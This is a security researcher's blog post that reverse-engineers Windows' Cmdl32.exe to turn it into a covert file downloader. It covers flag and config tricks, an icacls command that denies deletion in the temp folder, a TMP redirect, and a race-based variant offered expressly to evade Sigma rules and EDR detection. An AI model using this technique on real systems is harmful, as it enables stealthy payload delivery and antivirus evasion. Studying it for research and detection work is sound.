DEV Community

Elliot Killick
Elliot Killick

Posted on • Originally published at elliotonsecurity.com on

Living Off the Land: Reverse Engineering Methodology + Tips & Tricks (Cmdl32 Case Study)

"Living off the land" binaries (also known as LOTL attacks or lolbins) are a class of attack that rely on repurposing legitimate Microsoft programs (most notably those that exist in a default Windows installation) to carry out malicious activities while evading detection. Today, we're going to focus on one 'living off the land' binary in particular (Cmdl32.exe) which served to be a very difficult reverse engineering target (in fact, the most difficult of the ones I've taken a crack at). I've gotten a lot of requests regarding my process for reverse engineering these attacks in Windows and if you can understand everything in this article then I believe you got what it takes to dive in and and uncover new hidden gems within the Windows ecosystem on your own. I'll be writing another article about how to find good 'leads' for Windows binaries to reverse engineer, but for now I hope you enjoy this one...

Case StudyπŸ”—

C:\Windows\System32\cmdl32.exe is a program that's existed since the release of Windows 7/Vista replacing cmdln32.exe (with an "n") which worked in its place up until Windows XP. It's an antiquated tool for downloading old phone book profiles back in the days of dial-up Internet and has this icon:

Cmdl32.exe program icon

Okay, looks boring... Why do we care again?

Misusing Cmdl32.exeπŸ”—

Sitting dormant for over a decade was a hidden feature of Cmdl32.exe that if misused would allow someone to download not just phone book profiles but absolutely anything they want such as a custom malicious executable. You've probably seen my Tweet by now:

Need to go under the radar downloading #mimikatz (and other suspect payloads)? Then newly discovered #lolbin "C:\Windows\System32\Cmdl32.exe" (signed by MS) is for you. It's like a new certutil.exe but absolutely unheard of by any antivirus software! pic.twitter.com/fzQLLHRDoM

β€” Elliot (@elliotkillick) November 3, 2021

A lot of the technical details have already been covered well in Adam's (@Hexacorn) blog post where he came incredibly close to discovering this 'living off the land' technique himself. Feel free to go give that a read for the full backstory but it's not a prerequisite to this post.

What I'll be covering here are the fundamentals and techniques used to overcome the final big three hurdles in reverse engineering and practical use of this living off the land capability so you can improve the caliber of your reverse engineering skills and maybe help you find some interesting 'living off the land' techniques yourself! The tool we will be using to do this reverse engineering is IDA (Interactive Disassembler) Free.

Hurdle 1: The Final ArgumentπŸ”—

Picking up where the last blog post left off, the first /vpn argument (as seen in the Twitter demo) was found successfully but there was still difficulty passing a "RAS Enumeration check" by the function RasEnumConnectionsA. For Remote Access Service (RAS, a legacy Win32 API that "provides remote access capabilities to client applications" over dial-up) to successfully enumerate a connection, it's required that there be an existing phonebook profile and that the connection is active. In testing, I was able to satisfy the first condition by creating a new connection using the C:\Windows\System32\rasphone.exe GUI program. The connection gets stored as a PBK file (same format as an INI file) at %APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk. However, the second part didn't seem possible without having a real modem to create an actual dial-up connection which is a non-starter.

Luckily for us, there's another way. Simply skip the RasEnumConnectionsA check instead of passing it. After conducting some thorough analysis up the program's control flow, I saw that there indeed did look to be a pathway for bypassing this check. It was later found that the way to activate this pathway was by specifying the /lan argument to Cmdl32.exe.

But, in a sea full of assembly and arrows pointing to all different blocks of code, how might one go about figuring this (and more problems) out for themselves? To figure that out, we will have to start from the beginning to learn how Cmdl32.exe parses and stores arguments...

Cmdl32.exe starts by calling GetCommandLineA to find out how the program was called including all of its arguments. After that, it iterates through the entire command line one character at a time looking for the first space (0x20 in ASCII; also taking into account quotes/0x22 in case the image path itself contains spaces) in the command-line to determine where the image path (C:\Windows\System32\Cmdl32.exe) ends and the program arguments (/vpn /lan, etc. in our case) begin.

After finding the index in the command line at which program arguments begin, Cmdl32.exe uses lstrcmpiA to search for each of its supported command-line options. For each one that's found, it performs a bitwise or operation on a single "argument flags" variable that indicates the presence of each option.

If you're unfamiliar with bitwise operations and how they can be used to store data in the most efficient way possible (in binary; a base two numbering system) then I recommend searching that up to fully grasp the concept. However, here's the quick rundown: A standard 32-bit integer is made up of 32 1s and/or 0s, each of these is a boolean (either true or false value) which when manipulated individually (e.g. with a bitwise or operation) can be used to indicate a state (a command-line option in our case). Each state (command-line option) is assigned some hex identifier (like 0x10, 0x20, etc.) which can be checked for by doing fast bitwise operations on that one variable. Bitwise operations are much more efficient than the alternative of having the presence of each state given its own boolean variable each of which would likely be promoted to utilize a full 32-bits due to padding reasons, not to mention storing all the extra references/pointers to each of those boolean variables.

By analyzing the running program, I was able to gather that the hex identifier used to represent the presence of the /vpn option was 0x40 and for /lan was 0x20. When analyzing the disassembly and runtime operations (using static and dynamic analysis techniques) of Cmdl32.exe, it will be important to look for these hex identifiers being used as a condition for which branch of code to execute.

Sure enough, here we can see /vpn being used to branch to two different code paths (note that 40h is another notation for hex 0x40):

In the above picture, 0x60 is in the r9 register because we have both /vpn (0x40) and /lan (0x20) specified on the command-line (0x40 | 0x20 = 0x60). Because /vpn is specified, this condition succeeds and we go down our desired code path.

Later, /lan (still in the r9 register) is converted from its hex identifier of 0x20 into a boolean value (false or 0x0; in this case meaning that /vpn is not on its own but is used with /lan) by performing a bit shift (shr instruction in the image) operation. The r9 register is then passed as the fourth argument to UpdateVpnFileForProfile:

Function signature: UpdateVpnFileForProfile(char const *, char const *, CmLogFile *, int)

If you don't understand the (application binary) interface (ABI, like an API if you're familiar but referring to low-level interfaces that the compiler usually handles for you) used for passing arguments through function calls then I recommend you read up on calling conventions and specifically the "Microsoft x64 calling convention" used here. If you plan to do reverse engineering of any kind on Windows then knowing and being able to easily identify this calling convention through assembly code (like in the image above) is absolutely crucial.

This is the kind of thing a good decompiler will help you with. However, if you can't identify basic binary interfaces such as this just by glancing at the disassembly then you're not going to get far in the bigger picture of reverse engineering. Decompilers are far from perfect and do make mistakes especially when dealing with complex data structures. Even if they were perfect, you still need to know the data types as well as the data's impact which is often one of the more difficult parts of reverse engineering. I didn't rely on a decompiler at all while finding this 'living off the land' technique. Doing so allows you to really learn the fundamentals, build muscle memory in pattern recognition, and makes the exercise more enjoyable in my opinion. Using a decompiler is fine, of course, to make some parts of your work faster but just make sure you know the fundamentals of how it works under the hood first.

Note that the test of rcx here (in the above image) is just making sure that a configuration file path (a string, i.e. char *) has been passed in on the command-line as well (shown as %cd%\settings.txt in the Twitter demonstration). The settings file being present causes the branch on the right (out of frame in the above image) to not be taken leading us closer to our target. This is because by taking the correct (left) path we avoid a call to IsConnectionAlive (out of frame in the above image) which leads directly to the unwanted RasEnumConnectionsA. Recall that RasEnumConnectionsA is undesirable because it requires that we have an active dial-up connection which we do not have.

With that, we're sent down the left code path into the UpdateVpnFileForProfile function where all the main activity of this 'living off the land' technique (including downloading) really begins!

Now inside of UpdateVpnFileForProfile, it tests the boolean value still fresh from the r9 register and based on that determines whether it should download from a URL or alternatively the unwanted case which once again leads to a dial-up connection with RasEnumConnectionsA through IsConnectionAlive (below image). Note: This boolen value is shown as an integer in the function signature we saw just above but it's equivalent to a boolean in this case. It's a common C thing due to the bool data type only existing since C99 (1999; and even then not as a built-in). For reasons metioned earlier, it's inefficient to store booleans in there own separate variable which is why integers are commonly used to hold multiple "flags" instead (even if the only "flag" in this case is a 1 or 0).

Looking further, there appears to be another path to bypassing IsConnectionAlive if ServiceName under [Connection Manager] is left unspecified in our settings.txt file (from the Twitter demo). This code definitely wasn't present when I first analyzed Cmdl32.exe (in late 2021) but it looks to be an impossible condition anyway (at least without racing the check) because ServiceName was already validated to exist in our settings.txt long before this (otherwise the program exits early).

Or is it? The lpFileName (file path string) being used for this check is currently settings.txt, but what if we could change the file path for this specific check to use its own file named settings2.txt where we simply delete the ServiceName=<VALUE> entry. We can try doing this by changing CMSFile in settings.txt to point to a separate settings2.txt so let's see if our idea works... Mm, no unfortunately I tested this and the function that checks if ServiceName is specified early on (the InitLogging function; not shown in any images) specifically reads the ServiceName entry from settings2.txt (after already getting that filename from CMSFile) just like the above code from UpdateVpnFileForProfile does. So, it really doesn't seem possible to avoid IsConnectionAlive without /lan unless you race the check. It may take some executions to successfully race the check such that settings.txt has ServiceName specified when InitLogging checks and unspecified when the code shown here from UpdateVpnFileForProfile checks, however, it's definitely possible. This means we've found another way to successfully bypass IsConnectionAlive without specifying the /lan option!

We will keep this new method for starting the download without the /lan option a secret between you and me to bypass some detections (e.g. Sigma and existing antiviruses/EDRs as I've seen this 'living off the land' technique already added to the database of quite a few of them). Treat this as a reward for reading real technical write-ups instead of only consuming short GIFs/Shorts/TikToks (at least until this method also gets flagged by signature databases).

Shortly after this point, Cmdl32.exe reads our attacker-controlled web address of UpdateUrl from our configuration file (in the demo this URL is set to download Mimikatz):

Next, Cmdl32.exe creates a temporary file that will store the downloaded file. Note that GetTempFileNameA only gives us back a file path to a newly created temporary file so Cmdl32.exe then has to call CreateFileA (a misnomer in this context) with dwCreationDisposition set to OPEN_EXISTING to get a file handle on the already existing file.

Another technical detail for those paying close attention - you may notice in the above screenshot that GetTempFileNameA gives us back a pointer to the path of the newly created file in the rsi register (not the usual return value register of rax). This is because GetTempFileNameA does not return the file path but instead gives it to us through a pointer that we as a developer (or Cmdl32.exe in this case) have to pass into it as an argument (see in the GetTempFileNameA Microsoft documentation: [out] LPSTR lpTempFileName and "Return value")

Immediately after this, Cmdl32.exe proceeds to use the Microsoft WinHTTP API to download a file from our chosen website:

This is the pragmatic approach that would have had to be employed to successfully reverse engineer this part of the Cmdl32.exe downloader.

Another approach would have just been to get all the program strings and try each one of them in an attempt to reach your desired code path (i.e. bruteforce). To do this, make sure you lower the "minimum string length" because the default of 5 in IDA would have hidden some of these options. Double-click on any found string then right-click and select Jump cross references to... (Ctrl+X) to see where a string of interest is referenced in the code.

Note that the strings approach will work with varying degrees of success due to differences in how some programs store such data. For example, some programs store the options as just LAN not /LAN becuase they perhaps want to save that extra one byte of data or due to also accepting the -LAN variant. This makes it more difficult to tell which strings in a binary are its potential arguments as opposed to just noise.

It's also important to be aware of the encoding used for searching strings. Cmdl32.exe stores strings as plain old ASCII (a sign of this program's age). However, the vast majority of (modern) programs on Windows store 'wide' strings which are UTF-16 (LE) encoding. So, we simply have specify to our 'strings' search tool what encoding of string to look for. In IDA, this is easily done by selecting either the C-style or Unicode C-style (16 bits) checkboxes pictured above.

Alternatively, the problem with reverse engineering your 'living off the land' binary may not be your command-line arguments at all but instead something completely different like (in the case of Cmdl32.exe) something missing from the supplied configuration file (a common element). Searching for clues in the strings is almost always helpful. However, in that case the best approach would be to set a breakpoint on the Windows API function (from IDA Imports tab) responsible for reading from the configuration file (uniquely GetPrivateProfileSectionA for the antiquated way Cmdl32.exe reads configuration data). Each 'living off the land' binary is different so it's not really possible to give specific instructions here (another much more common place to store configuration data is the registry in which case set breakpoints on functions like RegGetValue and RegOpenKeyEx) and this is where some intuition and practice comes into play. Process Monitor from Sysinternals may also help to initally find out which import functions to set a breakpoint on for further investigation.

Hurdle 2: Surviving DeleteFileAπŸ”—

At this point, we have successfully used Cmdl32.exe to make an HTTP (or HTTPS) request to download a file from a website of our choosing. We can see proof of this success by looking for the HTTP request with a packet sniffer such as Wireshark (UpdateUrl=http://example.com in settings.txt here):

But, there's a problem... If Cmdl32.exe detects that our downloaded file does not contain the [VPN Servers] profile section (just that text prepended to the file) then it will immediately delete the file:

Followed by the actual deletion not long after the file is detected to not be in the valid format:

One way to solve this would be to simply add the text [VPN Servers] to the start of our downloaded file, however, this would limit what we can download to maybe only scripts and base 64 encoded content (no binary data such as EXEs or DLLs).

I haven't tested whether GetPrivateProfileSectionA allows for arbitrary binary data after seeing the [VPN Servers] header it's looking for. But, in the case that it's allowed we could use run findstr /v "[VPN Servers]" <FILE_PATH> after downloading to remove the [VPN Servers] header and leave everything else (like our EXE data) in the file. findstr.exe fully supports binary data and is a known trick for achieving some things in batch programming and with 'living off the land' techniques.

Another (very dicey) approach would be to simply race the deletion, if we kept downloading the file until we were able to move/copy it before DeleteFileA is called by Cmdl32.exe then that might work. File creation and writing of the downloaded contents to the file are done with two separate Win32 function calls, GetTempFileNameA and WriteFile respectively (the whole file is written from a memory buffer at once). This means we would also have to check to make sure the file size isn't zero (only just created, nothing downloaded and written yet) before moving/copying. While I think this method is certainly possible, it's very noisy (not stealth) and would be a very dirty way of accomplishing our goal.

I briefly considered the former two approaches but quickly dismissed them after remembering that NTFS (the default filesystem used by Windows) supports denying deletion permissions on files/directories using ACLs (as do the filesystems on Linux and MacOS). Furthermore, there is a command-line tool for granting and denying even advanced ACLs called icacls.exe that's been available since Windows Vista. Using icacls.exe to remove deletion permissions from the temporary directory (%tmp% or %temp%) for the current user is as simple as running icacls %tmp% /deny %username%:(OI)(CI)(DE,DC) where DE = delete and DC = delete child. (OI)(CI) enables the inheritance of these permissions for new files as they are created in the directory. See the Twitter demo (or try it yourself) to see what this looks like.

Hurdle 3: Controlling the Call to GetTempFileNameAπŸ”—

This is a bonus step which isn't technically required but adds that final touch to make this entire 'living off the land' technique super clean. Recall from "Hurdle 1" we saw that Cmdl32.exe stores downloaded files in the temporary directory which it gets with GetTempFileNameA. Right now, using this 'living off the land' technique requires temporarily altering the permissions of the real temporary folder (at C:\Users\%USERNAME%\AppData\Local\Temp by default) which could lead to undesirable side effects in other programs also using that folder. So, is the GetTempFileNameA function possible to control in a way that would allow us to set an arbitrary "temporary" directory? Let's read the official GetTempPathA Microsoft documentation to find out. Note that this documentation is stored under GetTempPathA but this part also applies to GetTempFileNameA. Looking at the "Remarks" section we immediately find the search path used by this Win32 function to determine where to store temporary files:

The GetTempPath function checks for the existence of environment variables in the following order and uses the first path found:

  1. The path specified by the TMP environment variable.
  2. The path specified by the TEMP environment variable.
  3. The path specified by the USERPROFILE environment variable.
  4. The Windows directory.

Fantastic, we can easily control each of those first three environment variables in CMD! Let's go with the simplest option and set TMP (case-insensitive) to the current working directory (CWD):

set tmp=%cd%

Enter fullscreen mode Exit fullscreen mode

To clarify for readers who aren't aware, the current working directory (CWD, or %cd% in CMD) is the directory shown at the prompt when you first open CMD. Every process has one and for CMD it will change as you navigate around with the cd command. For example, mine looks like this:

C:\Users\user>echo %cd%
C:\Users\user
C:\Users\user>cd Desktop
C:\Users\user\Desktop>echo %cd%
C:\Users\user\Desktop

Enter fullscreen mode Exit fullscreen mode

Fantastic, now we can download straight to any directory of our choosing with no chance of side effects for other programs!

Putting it all togetherπŸ”—

With all of these tactics combined, we (red teamers, pentesters, or security researchers/fanatics) can utilize Cmdl32.exe as a dropper to download any file we want (with a program that's existed in Windows for a very long time even before certutil.exe!) in a super clean way that bypasses the detection that comes with using other utilities (e.g. certutil.exe which is detected & blocked by Windows Defender and many other cases) or PowerShell.

In regards to any use of PowerShell, detection (or failure) could very well be unavoidable even in the case that you have access to PowerShell -Version 2 where Antimalware Scan Interface (AMSI) isn't supported. First of all, PowerShell version 2 requires .NET Framework version 3.5 (includes .NET 2.0 and 3.0) which no longer comes preinstalled on Windows 10. Also, I've personally seen multiple enterprise endpoint detection and response (EDR) systems silently disable certain dangerous functionalities such as Invoke-WebRequest only when using PowerShell version 2. Defenders are well aware of the simple PowerShell version 2 blindspot (as well as other techniques like bitsadmin.exe for which protection/detection may only be activated if the EDR detects it's deployed in a genuine enterprise environment) which is why attackers need new 'living off the land' techniques like this to stay ahead. Not to mention other PowerShell security features such as PS command-line logging (enabled by default), PS ScriptBlock.CheckSuspiciousContent (enabled by default in PS 5.0+), PS ScriptBlockLogging, PS Constrained Language Mode (CLM), and so on (sometimes enterprises even disable PS outright for high-risk users/endpoints). Remember, it only takes one strong indicator of compromise (IoC) for a security operations center (SOC) team to detect a threat and quarantine it from the network right at the point of initial compromise β€” thus foiling an entire attack before it could even take hold.

Additionally, by bringing the existence of this 'living off the land' technique to light it's helped to make detection mechanisms (e.g. antivirus) for potentially malicious programs built into Windows a bit more robust thus making everyone (at least who uses Windows) a tiny bit more secure ("security through obscurity" = no security). This is the most important objective to ensure we don't accidentally help nefarious actors.

If you haven't already, make sure to follow me on Twitter to see more great content, thanks!

Is Cmdln32.exe affected?πŸ”—

Yes, Adam's (@Hexacorn) work proved that the downloading functionality of this 'living off the land' technique worked with the older Cmdl n 32.exe. This question may appear to be irrelevant now given how long Windows XP/Server 2003 have been out of support but you would be surprised (or maybe not depending on your background) how many very legacy systems exist in organizations (I see and hear about it regularly).

As I understand, the older Cmdln32.exe lacked some checks such as testing for an active RAS connection and validating the downloaded filetype which made this technique more straightforward at the time (it's also worth noting that icacls.exe didn't exist until later in Windows Vista).

Why did finding this 'living off the land' technique take over a decade?πŸ”—

This 'living off the land' technique was certainly harder to crack than others because of the lack of a "help" (/?) option meaning actual reverse engineering is required. As well, it's pretty easy to overlook a single binary in a sea of programs placed in System32. But, there's also just not a whole lot of security researchers doing in-depth analysis on a ton of areas right now.

There's also the chance that some people were going to look into it but first saw Adam's post on cmdln32.exe and the newer cmdl32.exe, and decided that if someone has already looked into it then there's probably nothing more to be found. Luckily, this wasn't much of a factor for me because my research was mostly independent and I was stuck on the same /lan argument as Adam before searching the Internet for info about the binary.

Given enough time, I think anyone could have found this interesting use case for cmdl32.exe. It just so happened that I had enough time available and decided to allocate the amount required to fully investigate this program (as there was a point early in the reverse engineering process where I considered if this program was worth looking into with so many other interesting targets then and still speaking currently).

I still do find it somewhat surprising that this one has survived as long as it has seeing as most other downloaders in Windows have been found quite quickly.

RemarksπŸ”—

While writing this blog post, I was unsure of how much technical knowledge to assume the reader had as a prerequisite. I tried to err on the side of assuming a less knowledgeable reader so more people can understand and people who already know can skip ahead. But, feel free to provide feedback on this (the GitHub Issues of this website would work well) or even add what I missed yourself with a pull request. Since this is my first blog post, some feedback on my writing/editorial style would also be welcome.

2023 Update: Microsoft has now made the PDB (including function debug symbols) for Cmdl32.exe public which would have made finding this 'living off the land' technique considerably easier. Also, there have been changes to how it works internally since initial discovery (namely I notice that the /vpn (0x40) and /lan (0x20) are no longer checked at the same time as 0x60 but instead in two parts (additionally, I think the hex identifiers changed). Also, RasEnumConnectionsA is now only ever called from one function in Cmdl32.exe named IsConnectionAlive whereas before RasEnumConnectionsA was directly called all over the place (leading to code duplication). To me it looks like Cmdl32.exe has undergone a large refactoring. This analysis covers the 2023 version of Cmdl32.exe (exact program download provided in case you want to analyze something I said deeper). This 'living off the land' technique is still 100% working.

Info

Programs built into Windows with potentially dangerous functionality (i.e. 'living off the land' techniques commonly referred to as 'lolbins'/'lotlbins') are not security threats in the sense that they have no threat model besides the cat-and-mouse game of detection by antivirus software ** (e.g. Windows Defender ). I enjoy searching for them in the default Windows installation mostly because it's fun, easy to do, and good reverse engineering practice. Even then, the quality of 'living off the land' techniques can vary drastically in terms of how practically useful they would be in a real-world attack (Personally, I prefer to only report some of the nicer ones I find). Other times, the terms 'lolbin'/'lotlbin' are (ironically) completely misused. Antivirus software should only be used as part of a more holisitc defense-in-depth strategy. If 'real' security is what you want then have a look at my binary exploitation or Qubes OS content (upcoming).

* There have been a few cases where Microsoft removed potentially dangerous functionality from Windows (e.g. MpCmdRun.exe downloader, Mandiant's rasautou.exe DLL runner, and occasionally built-in UAC bypasses) but these are the exception, not the rule.

* The potentially dangerous functionality of some built-in programs breaks the threat model of WDAC and AppLocker. However, deployment of these security controls is rare.

Top comments (0)